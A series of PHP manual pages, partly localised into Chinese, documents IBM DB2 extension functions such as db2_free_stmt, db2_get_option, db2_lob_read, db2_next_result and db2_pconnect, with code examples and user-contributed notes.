DELETE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is DELETE.
FK_NAME | The name of the foreign key.
PK_NAME | The name of the primary key.
DEFERRABILITY | An integer value representing whether the foreign key deferrability is SQL_INITIALLY_DEFERRED, SQL_INITIALLY_IMMEDIATE, or SQL_NOT_DEFERRABLE.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Frees resources associated with a result set

  • ? db2_foreign_keys
  • db2_free_stmt ?
  • PHP Manual
  • IBM DB2 函数
  • Frees resources associated with a result set

db2_free_result

(PECL ibm_db2 >= 1.0.0)

db2_free_result — Frees resources associated with a result set

说明

db2_free_result(resource $stmt): bool

Frees the system and database resources that are associated with a result set. These resources are freed implicitly when a script finishes, but you can call db2_free_result() to explicitly free the result set resources before the end of the script.

参数

stmt

A valid statement resource.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • db2_free_stmt() - Frees resources associated with the indicated statement resource

User Contributed Notes

There are no user contributed notes for this page.


Frees resources associated with the indicated statement resource

  • ? db2_free_result
  • db2_get_option ?
  • PHP Manual
  • IBM DB2 函数
  • Frees resources associated with the indicated statement resource

db2_free_stmt

(PECL ibm_db2 >= 1.0.0)

db2_free_stmt — Frees resources associated with the indicated statement resource

说明

db2_free_stmt(resource $stmt): bool

Frees the system and database resources that are associated with a statement resource. These resources are freed implicitly when a script finishes, but you can call db2_free_stmt() to explicitly free the statement resources before the end of the script.

参数

stmt

A valid statement resource.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • db2_free_result() - Frees resources associated with a result set

User Contributed Notes

alan at alanseiden dot com 19-Jul-2016 07:29
Update: as of version 1.9.2, db2_free_stmt() was not only deprecated, but its functionality removed completely. It returns TRUE but does nothing.

Instead of db2_free_stmt(), use the aforementioned $stmt = ''; to trigger the statement's destructor.

It is advised to destroy the statement resource in this way if the statement variable is later re-used with another db2_prepare in the same request.

Example:
$stmt = db2_prepare($conn, $sql1);
// more code goes here
$stmt = ''; // destroy statement resource before assigning another statement to the same variable.
$stmt = db2_prepare($conn, $sql2);


Retrieves an option value for a statement resource or a connection resource

  • ? db2_free_stmt
  • db2_last_insert_id ?
  • PHP Manual
  • IBM DB2 函数
  • Retrieves an option value for a statement resource or a connection resource

db2_get_option

(PECL ibm_db2 >= 1.6.0)

db2_get_option — Retrieves an option value for a statement resource or a connection resource

说明

db2_get_option(resource $resource, string $option): string|false

Retrieves the value of a specified option value for a statement resource or a connection resource.

参数

resource

A valid statement resource as returned from db2_prepare() or a valid connection resource as returned from db2_connect() or db2_pconnect().

option

A valid statement or connection options. The following new options are available as of ibm_db2 version 1.6.0. They provide useful tracking information that can be set during execution with db2_get_option().

Note:

Prior versions of ibm_db2 do not support these new options.

When the value in each option is being set, some servers might not handle the entire length provided and might truncate the value.

To ensure that the data specified in each option is converted correctly when transmitted to a host system, use only the characters A through Z, 0 through 9, and the underscore (_) or period (.).

userid

SQL_ATTR_INFO_USERID - A pointer to a null-terminated character string used to identify the client user ID sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 16 characters. This user-id is not to be confused with the authentication user-id, it is for identification purposes only and is not used for any authorization.

acctstr

SQL_ATTR_INFO_ACCTSTR - A pointer to a null-terminated character string used to identify the client accounting string sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 200 characters.

applname

SQL_ATTR_INFO_APPLNAME - A pointer to a null-terminated character string used to identify the client application name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 32 characters.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - A pointer to a null-terminated character string used to identify the client workstation name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 18 characters.

The following table specifies which options are compatible with the available resource types:

Resource-Parameter Matrix
Key | Value | Resource Type
 |  | Connection | Statement | Result Set
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

返回值

Returns the current setting of the connection attribute provided on success 或者在失败时返回 false.

示例

Example #1 Setting and retrieving parameters through a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

/* Obtain Connection Resource */
$conn = db2_connect($database, $user, $password);

echo "Client attributes passed through connection string:\n";

/* Create the associative options array with valid key-value pairs */
/* Assign the attributes through connection string */
/* Access the options specified */
$options1 = array('userid' => 'db2inst1');
$conn1 = db2_connect($database, $user, $password, $options1);
$val = db2_get_option($conn1, 'userid');
echo $val . "\n";

$options2 = array('acctstr' => 'account');
$conn2 = db2_connect($database, $user, $password, $options2);
$val = db2_get_option($conn2, 'acctstr');
echo $val . "\n";

$options3 = array('applname' => 'myapp');
$conn3 = db2_connect($database, $user, $password, $options3);
$val = db2_get_option($conn3, 'applname');
echo $val . "\n";

$options4 = array('wrkstnname' => 'workstation');
$conn4 = db2_connect($database, $user, $password, $options4);
$val = db2_get_option($conn4, 'wrkstnname');
echo $val . "\n";

echo "Client attributes passed post-connection:\n";

/* Create the associative options array with valid key-value pairs */
/* Assign the attributes after a connection is made */
/* Access the options specified */
$options5 = array('userid' => 'db2inst1');
$conn5 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn5, $options5, 1);
$val = db2_get_option($conn5, 'userid');
echo $val . "\n";

$options6 = array('acctstr' => 'account');
$conn6 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn6, $options6, 1);
$val = db2_get_option($conn6, 'acctstr');
echo $val . "\n";

$options7 = array('applname' => 'myapp');
$conn7 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn7, $options7, 1);
$val = db2_get_option($conn7, 'applname');
echo $val . "\n";

$options8 = array('wrkstnname' => 'workstation');
$conn8 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn8, $options8, 1);
$val = db2_get_option($conn8, 'wrkstnname');
echo $val . "\n";
?>

以上示例会输出：

Client attributes passed through connection string:
db2inst1
account
myapp
workstation
Client attributes passed post-connection:
db2inst1
account
myapp
workstation

参见

  • db2_connect() - Returns a connection to a database
  • db2_cursor_type() - Returns the cursor type used by a statement resource
  • db2_exec() - Executes an SQL statement directly
  • db2_set_option() - Set options for connection or statement resources
  • db2_pconnect() - Returns a persistent connection to a database
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.


Returns the auto generated ID of the last insert query that successfully executed on this connection

  • ? db2_get_option
  • db2_lob_read ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the auto generated ID of the last insert query that successfully executed on this connection

db2_last_insert_id

(PECL ibm_db2 >= 1.7.1)

db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection

说明

db2_last_insert_id(resource $resource): ?string

Returns the auto generated ID of the last insert query that successfully executed on this connection.

The result of this function is not affected by any of the following:

  • A single row INSERT statement with a VALUES clause for a table without an identity column.

  • A multiple row INSERT statement with a VALUES clause.

  • An INSERT statement with a fullselect.

  • A ROLLBACK TO SAVEPOINT statement.

参数

resource

A valid connection resource as returned from db2_connect() or db2_pconnect(). The value of this parameter cannot be a statement resource or result set resource.

返回值

Returns the auto generated ID of last insert query that successfully executed on this connection.

示例

Example #1 A db2_last_insert_id() example

The following example shows how to return the auto generated ID of last insert query that successfully executed on this connection.

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
$createTable = "CREATE TABLE lastInsertID
(id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
$insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";

$stmt = @db2_exec($conn, $createTable);

/* Checking for single row inserted. */
$stmt = db2_exec($conn, $insertTable);
$ret = db2_last_insert_id($conn);
if($ret) {
echo "Last Insert ID is : " . $ret . "\n";
} else {
echo "No Last insert ID.\n";
}

db2_close($conn);
}
else {
echo "Connection failed.";
}
?>

以上示例会输出：

Last Insert ID is : 1

User Contributed Notes

Mark Adkins 10-Jun-2010 09:28
On the iSeries and maybe other db2 platforms, this function is not defined--PHP Fatal error:  Call to undefined function  db2_last_insert_id().

The alternative is to use IDENTITY_VAL_LOCAL().

The above example becomes:

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";
    $getIdentity = "SELECT IDENTITY_VAL_LOCAL() AS LASTID FROM SYSIBM.SYSDUMMY1";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);

    $stmt = db2_exec($conn, $getIdentity);
    $row = db2_fetch_assoc($stmt);
    $ret = $row['LASTID'];

    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>


Gets a user defined size of LOB files with each invocation

  • ? db2_last_insert_id
  • db2_next_result ?
  • PHP Manual
  • IBM DB2 函数
  • Gets a user defined size of LOB files with each invocation

db2_lob_read

(PECL ibm_db2 >= 1.6.0)

db2_lob_read — Gets a user defined size of LOB files with each invocation

说明

db2_lob_read(resource $stmt, int $colnum, int $length): string|false

Use db2_lob_read() to iterate through a specified column of a result set and retrieve a user defined size of LOB data.

参数

stmt

A valid stmt resource containing LOB data.

colnum

A valid column number in the result set of the stmt resource.

length

The size of the LOB data to be retrieved from the stmt resource.

返回值

Returns the amount of data the user specifies. Returns false if the data cannot be retrieved.

示例

Example #1 Iterating through different types of data

<?php

/* Database Connection Parameters */
$db = 'SAMPLE';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Obtain Connection Resource */
$conn = db2_connect($db,$username,$password);

if ($conn) {
$drop = 'DROP TABLE clob_stream';
$result = @db2_exec( $conn, $drop );

$create = 'CREATE TABLE clob_stream (id INTEGER, my_clob CLOB)';
$result = db2_exec( $conn, $create );

$variable = "";
$stmt = db2_prepare($conn, "INSERT INTO clob_stream (id,my_clob) VALUES (1, ?)");
$variable = "THIS IS A CLOB TEST. THIS IS A CLOB TEST.";
db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
db2_execute($stmt);

$sql = "SELECT id,my_clob FROM clob_stream";
$result = db2_prepare($conn, $sql);
db2_execute($result);
db2_fetch_row($result);
$i = 0;
/* Read LOB data */
while ($data = db2_lob_read($result, 2, 6)) {
echo "Loop $i: $data\n";
$i = $i + 1;
}

$drop = 'DROP TABLE blob_stream';
$result = @db2_exec( $conn, $drop );

$create = 'CREATE TABLE blob_stream (id INTEGER, my_blob CLOB)';
$result = db2_exec( $conn, $create );

$variable = "";
$stmt = db2_prepare($conn, "INSERT INTO blob_stream (id,my_blob) VALUES (1, ?)");
$variable = "THIS IS A BLOB TEST. THIS IS A BLOB TEST.";
db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
db2_execute($stmt);

$sql = "SELECT id,my_blob FROM blob_stream";
$result = db2_prepare($conn, $sql);
db2_execute($result);
db2_fetch_row($result);
$i = 0;
/* Read LOB data */
while ($data = db2_lob_read($result, 2, 6)) {
echo "Loop $i: $data\n";
$i = $i + 1;
}
} else {
echo 'no connection: ' . db2_conn_errormsg();
}

?>

以上示例会输出：

Loop 0: THIS I
Loop 1: S A CL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  CLOB
Loop 6: TEST.
Loop 0: THIS I
Loop 1: S A BL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  BLOB
Loop 6: TEST.

参见

  • db2_bind_param() - Binds a PHP variable to an SQL statement parameter
  • db2_exec() - Executes an SQL statement directly
  • db2_execute() - Executes a prepared SQL statement
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Requests the next result set from a stored procedure

  • ? db2_lob_read
  • db2_num_fields ?
  • PHP Manual
  • IBM DB2 函数
  • Requests the next result set from a stored procedure

db2_next_result

(PECL ibm_db2 >= 1.0.0)

db2_next_result — Requests the next result set from a stored procedure

说明

db2_next_result(resource $stmt): resource|false

A stored procedure can return zero or more result sets. While you handle the first result set in exactly the same way you would handle the results returned by a simple SELECT statement, to fetch the second and subsequent result sets from a stored procedure you must call the db2_next_result() function and return the result to a uniquely named PHP variable.

参数

stmt

A prepared statement returned from db2_exec() or db2_execute().

返回值

Returns a new statement resource containing the next result set if the stored procedure returned another result set. Returns false if the stored procedure did not return another result set.

示例

Example #1 Calling a stored procedure that returns multiple result sets

In the following example, we call a stored procedure that returns three result sets. The first result set is fetched directly from the same statement resource on which we invoked the CALL statement, while the second and third result sets are fetched from statement resources returned from our calls to the db2_next_result() function.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
$stmt = db2_exec($conn, 'CALL multiResults()');

print "Fetching first result set\n";
while ($row = db2_fetch_array($stmt)) {
var_dump($row);
}

print "\nFetching second result set\n";
$res = db2_next_result($stmt);
if ($res) {
while ($row = db2_fetch_array($res)) {
var_dump($row);
}
}

print "\nFetching third result set\n";
$res2 = db2_next_result($stmt);
if ($res2) {
while ($row = db2_fetch_array($res2)) {
var_dump($row);
}
}

db2_close($conn);
}
?>

以上示例会输出：

Fetching first result set
array(2) {
  [0]=>
  string(16) "Bubbles         "
  [1]=>
  int(3)
}
array(2) {
  [0]=>
  string(16) "Gizmo           "
  [1]=>
  int(4)
}

Fetching second result set
array(4) {
  [0]=>
  string(16) "Sweater         "
  [1]=>
  int(6)
  [2]=>
  string(5) "llama"
  [3]=>
  string(6) "150.00"
}
array(4) {
  [0]=>
  string(16) "Smarty          "
  [1]=>
  int(2)
  [2]=>
  string(5) "horse"
  [3]=>
  string(6) "350.00"
}

Fetching third result set
array(1) {
  [0]=>
  string(16) "Bubbles         "
}
array(1) {
  [0]=>
  string(16) "Gizmo           "
}

User Contributed Notes

matthewv at ca dot ibm dot com 21-Nov-2008 04:35
Some not so obvious but imported notes:

1) You must always use the original statement return when fetching the next result set.
2) You can not remove a reference to a previous result set if you wish to access another result set.

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($firstResultHolder);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL NOT WORK-------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$resultHolder = db2_next_result($originalStatementReturn);

$resultHolder = db2_next_result($originalStatementReturn);

if ($resultHolder) {
  while ($row = db2_fetch_array($resultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------

----------------WILL WORK--------------------------------
<?php
$originalStatementReturn = db2_exec($conn, 'CALL multiResults()');

$firstResultHolder = db2_next_result($originalStatementReturn);

$secondResultHolder = db2_next_result($originalStatementReturn);

if ($secondResultHolder) {
  while ($row = db2_fetch_array($secondResultHolder)) {
     print_r($row);
  }
}
?>
-----------------------------------------------------------------


Returns the number of fields contained in a result set

  • ? db2_next_result
  • db2_num_rows ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the number of fields contained in a result set

db2_num_fields

(PECL ibm_db2 >= 1.0.0)

db2_num_fields — Returns the number of fields contained in a result set

说明

db2_num_fields(resource $stmt): int|false

Returns the number of fields contained in a result set. This is most useful for handling the result sets returned by dynamically generated queries, or for result sets returned by stored procedures, where your application cannot otherwise know how to retrieve and use the results.

参数

stmt

A valid statement resource containing a result set.

返回值

Returns an integer value representing the number of fields in the result set associated with the specified statement resource. Returns false if the statement resource is not a valid input value.

示例

Example #1 Retrieving the number of fields in a result set

The following example demonstrates how to retrieve the number of fields returned in a result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, $sql);
$columns = db2_num_fields($stmt);

echo "There are {$columns} columns in the result set.";
?>

以上示例会输出：

There are 4 columns in the result set.

参见

  • db2_execute() - Executes a prepared SQL statement
  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of rows affected by an SQL statement

  • ? db2_num_fields
  • db2_pclose ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the number of rows affected by an SQL statement

db2_num_rows

(PECL ibm_db2 >= 1.0.0)

db2_num_rows — Returns the number of rows affected by an SQL statement

说明

db2_num_rows(resource $stmt): int|false

Returns the number of rows deleted, inserted, or updated by an SQL statement.

To determine the number of rows that will be returned by a SELECT statement, issue SELECT COUNT(*) with the same predicates as your intended SELECT statement and retrieve the value.

If your application logic checks the number of rows returned by a SELECT statement and branches if the number of rows is 0, consider modifying your application to attempt to return the first row with one of db2_fetch_assoc(), db2_fetch_both(), db2_fetch_array(), or db2_fetch_row(), and branch if the fetch function returns false.

Note:

If you issue a SELECT statement using a scrollable cursor, db2_num_rows() returns the number of rows returned by the SELECT statement. However, the overhead associated with scrollable cursors significantly degrades the performance of your application, so if this is the only reason you are considering using scrollable cursors, you should use a forward-only cursor and either call SELECT COUNT(*) or rely on the bool return value of the fetch functions to achieve the equivalent functionality with much better performance.

参数

stmt

A valid stmt resource containing a result set.

返回值

Returns the number of rows affected by the last SQL statement issued by the specified statement handle, 或者在失败时返回 false

User Contributed Notes

rmarsh221 at gmail dot com 20-Jul-2017 09:22
$inseq = 598;
    $delSql = "DELETE FROM libname.tablename WHERE inseq=?";
    $stmt = db2_prepare($conn,$delSql);
    $res = db2_execute($stmt,array($inseq));
    if(!$res)
    {
      throw new Exception(db2_stmt_errormsg(), db2_stmt_error());
    } else {
      $rows = db2_num_rows($stmt);
      if ($rows > 0) {
        echo "Success! ".$inseq." record deleted from: libname.tablename:". Rows=".$rows;
      } else {
        echo "Row not found for delete in: ".libname.tablename";
      }

    }


Closes a persistent database connection

  • ? db2_num_rows
  • db2_pconnect ?
  • PHP Manual
  • IBM DB2 函数
  • Closes a persistent database connection

db2_pclose

(PECL ibm_db2 >= 1.8.0)

db2_pclose — Closes a persistent database connection

说明

db2_pclose(resource $connection): bool

This function closes a DB2 client connection created with db2_pconnect() and returns the corresponding resources to the database server.

Note:

This function is only available on i5/OS in response to i5/OS system administration requests.

If you have a persistent DB2 client connection created with db2_pconnect(), you may use this function to close the connection. To avoid substantial connection performance penalties, this function should only be used in rare cases when the persistent connection has become unresponsive or the persistent connection will not be needed for a long period of time.

参数

connection

Specifies an active DB2 client connection.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Closing a persistent connection

The following example demonstrates a successful attempt to close a connection to an IBM DB2 i5/OS database.

<?php
$conn = db2_pconnect('', '', '');
$rc = db2_pclose($conn);
if ($rc) {
echo "Connection was successfully closed.";
}
?>

以上示例会输出：

Connection was successfully closed.

参见

  • db2_close() - Closes a database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a persistent connection to a database

  • ? db2_pclose
  • db2_prepare ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a persistent connection to a database

db2_pconnect

(PECL ibm_db2 >= 1.0.0)

db2_pconnect — Returns a persistent connection to a database

说明

db2_pconnect(
string $database,
?string $username,
?string $password,
array $options = []
): resource|false

Returns a persistent connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database.

For more information on persistent connections, refer to 持久数据库连接.

Calling db2_close() on a persistent connection always returns true, but the underlying DB2 client connection remains open and waiting to serve the next matching db2_pconnect() request.

Users running version 1.9.0 or later of ibm_db2 should be aware that the extension will perform a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.

参数

database

The database alias in the DB2 client catalog.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

DB2_ATTR_CASE

Passing the DB2_CASE_NATURAL value specifies that column names are returned in natural case.

Passing the DB2_CASE_LOWER value specifies that column names are returned in lower case.

Passing the DB2_CASE_UPPER value specifies that column names are returned in upper case.

CURSOR

Passing the DB2_FORWARD_ONLY value specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.

Passing the DB2_SCROLLABLE value specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.

The following new option is available in ibm_db2 version 1.7.0 and later.

trustedcontext

Passing the DB2_TRUSTED_CONTEXT_ENABLE value turns trusted context on for this connection handle. This parameter cannot be set using db2_set_option().

This key works only if the database is cataloged (even if the database is local), or if you specify the full DSN when you create the connection.

To catalog the database, use following commands:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later.

Tip

Conflicting connection attributes used in conjunction with persistent connections can produce indeterminate results on i5/OS. Site policies should be establish for all applications using each persistent connection user profile. The default DB2_AUTOCOMMIT_ON is suggested when using persistent connections.

i5_lib

A character value that indicates the default library that will be used for resolving unqualified file references. This is not valid if the connection is using system naming mode.

i5_naming

DB2_I5_NAMING_ON value turns on DB2 UDB CLI iSeries system naming mode. Files are qualified using the slash (/) delimiter. Unqualified files are resolved using the library list for the job.

DB2_I5_NAMING_OFF value turns off DB2 UDB CLI default naming mode, which is SQL naming. Files are qualified using the period (.) delimiter. Unqualified files are resolved using either the default library or the current user ID.

i5_commit

The i5_commit attribute should be set before the db2_pconnect(). If the value is changed after the connection has been established, and the connection is to a remote data source, the change does not take effect until the next successful db2_pconnect() for the connection handle.

Note:

The php.ini setting ibm_db2.i5_allow_commit==0 or DB2_I5_TXN_NO_COMMIT is the default, but may be overridden with the i5_commit option.

DB2_I5_TXN_NO_COMMIT - Commitment control is not used.

DB2_I5_TXN_READ_UNCOMMITTED - Dirty reads, nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_READ_COMMITTED - Dirty reads are not possible. Nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_REPEATABLE_READ - Dirty reads and nonrepeatable reads are not possible. Phantoms are possible.

DB2_I5_TXN_SERIALIZABLE - Transactions are serializable. Dirty reads, non-repeatable reads, and phantoms are not possible

i5_query_optimize

DB2_FIRST_IO All queries are optimized with the goal of returning the first page of output as fast as possible. This goal works well when the output is controlled by a user who is most likely to cancel the query after viewing the first page of output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause.

DB2_ALL_IO All queries are optimized with the goal of running the entire query to completion in the shortest amount of elapsed time. This is a good option when the output of a query is being written to a file or report, or the interface is queuing the output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause. This is the default.

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON value turns on DB2 6X allocation scheme for DBCS translation column size growth.

DB2_I5_DBCS_ALLOC_OFF value turns off DB2 6X allocation scheme for DBCS translation column size growth.

Note:

The php.ini setting ibm_db2.i5_dbcs_alloc==0 or DB2_I5_DBCS_ALLOC_OFF is the default, but may be overridden with the i5_dbcs_alloc option.

i5_date_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) date format yyyy-mm-dd is used. This is the default.

DB2_I5_FMT_USA - The United States date format mm/dd/yyyy is used.

DB2_I5_FMT_EUR - The European date format dd.mm.yyyy is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard date format yyyy-mm-dd is used.

DB2_I5_FMT_MDY - The date format mm/dd/yyyy is used.

DB2_I5_FMT_DMY - The date format dd/mm/yyyy is used.

DB2_I5_FMT_YMD - The date format yy/mm/dd is used.

DB2_I5_FMT_JUL - The Julian date format yy/ddd is used.

DB2_I5_FMT_JOB - The job default is used.

i5_date_sep

DB2_I5_SEP_SLASH - A slash ( / ) is used as the date separator. This is the default.

DB2_I5_SEP_DASH - A dash ( - ) is used as the date separator.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the date separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the date separator.

DB2_I5_SEP_BLANK - A blank is used as the date separator.

DB2_I5_SEP_JOB - The job default is used

i5_time_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) time format hh.mm.ss is used. This is the default.

DB2_I5_FMT_USA - The United States time format hh:mmxx is used, where xx is AM or PM.

DB2_I5_FMT_EUR - The European time format hh.mm.ss is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard time format hh:mm:ss is used.

DB2_I5_FMT_HMS - The hh:mm:ss format is used.

i5_time_sep

DB2_I5_SEP_COLON - A colon ( : ) is used as the time separator. This is the default.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the time separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the time separator.

DB2_I5_SEP_BLANK - A blank is used as the time separator.

DB2_I5_SEP_JOB - The job default is used.

i5_decimal_sep

DB2_I5_SEP_PERIOD - A period ( . ) is used as the decimal separator. This is the default.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the decimal separator.

DB2_I5_SEP_JOB - The job default is used.

The following new i5/OS option is available in ibm_db2 version 1.8.0 and later.

i5_libl

A character value that indicates the library list that will be used for resolving unqualified file references. Specify the library list elements separated by blanks 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Note:

i5_libl calls qsys2/qcmdexc('cmd',cmdlen), which is only available in i5/OS V5R4 and later.

返回值

Returns a connection handle resource if the connection attempt is successful. db2_pconnect() tries to reuse an existing connection resource that exactly matches the database, username, and password parameters. If the connection attempt fails, db2_pconnect() returns false.

更新日志

版本 | 说明
ibm_db2 1.9.0 | Active transactions within a persistent connection will be rolled back at the end of each request.
ibm_db2 1.8.0 | The i5_libl option is available for i5/OS users.
ibm_db2 1.7.0 | The trustedcontext option is available.
ibm_db2 1.5.1 | The i5_lib, i5_naming, i5_commit, i5_query_optimize, i5_dbcs_alloc, i5_date_fmt, i5_date_sep, i5_time_fmt, i5_time_sep and i5_decimal_sep options are available for i5/OS users.

示例

Example #1 A db2_pconnect() example

In the following example, the first call to db2_pconnect() returns a new persistent connection resource. The second call to db2_pconnect() returns a persistent connection resource that simply reuses the first persistent connection resource.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$pconn = db2_pconnect($database, $user, $password);

if ($pconn) {
echo "Persistent connection succeeded.";
}
else {
echo "Persistent connection failed.";
}

$pconn2 = db2_pconnect($database, $user, $password);
if ($pconn) {
echo "Second persistent connection succeeded.";
}
else {
echo "Second persistent connection failed.";
}
?>

以上示例会输出：

Persistent connection succeeded.
Second persistent connection succeeded.

Example #2 Using trusted context

The following example shows how to enable trusted context, switch users, and get the current user ID.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_pconnect($dsn, "", "", $options);
if($tc_conn) {
echo "Explicit trusted connection succeeded.\n";

if(db2_get_option($tc_conn, "trustedcontext")) {
$userBefore = db2_get_option($tc_conn, "trusted_user");

//Do some work as user 1.

//Switching to trusted user.
$parameters = array("trusted_user" => $tc_user,
"trusted_password" => $tcuser_pass);
$res = db2_set_option ($tc_conn, $parameters, 1);

$userAfter = db2_get_option($tc_conn, "trusted_user");
//Do more work as trusted user.

if($userBefore != $userAfter) {
echo "User has been switched." . "\n";
}
}

db2_close($tc_conn);
}
else {
echo "Explicit trusted connection failed.\n";
}
?>

以上示例会输出：

Explicit trusted connection succeeded.
User has been switched.

参见

  • db2_connect() - Returns a connection to a database

User Contributed Notes

php at redlagoon dot net 13-Feb-2018 08:17
The ibm_db2.ini file controls many properties related to to pconnect.   For example, stale connection handling is configurable.
satoruyoshida at php dot net 23-Jan-2012 08:28
If You will create db2 connection on IBMi , QSQSRVR job will be created under QSYSWRK subsystem with specified user.
You can ensure it with using db2_pconnect() function.

For example, db2_pconnect('*LOCAL', 'TESTUSR', 'PASSWORD') will bring us QSQSRVR job with TESTUSR user.

If You omit the user, IHS default user is used in the job.


Prepares an SQL statement to be executed

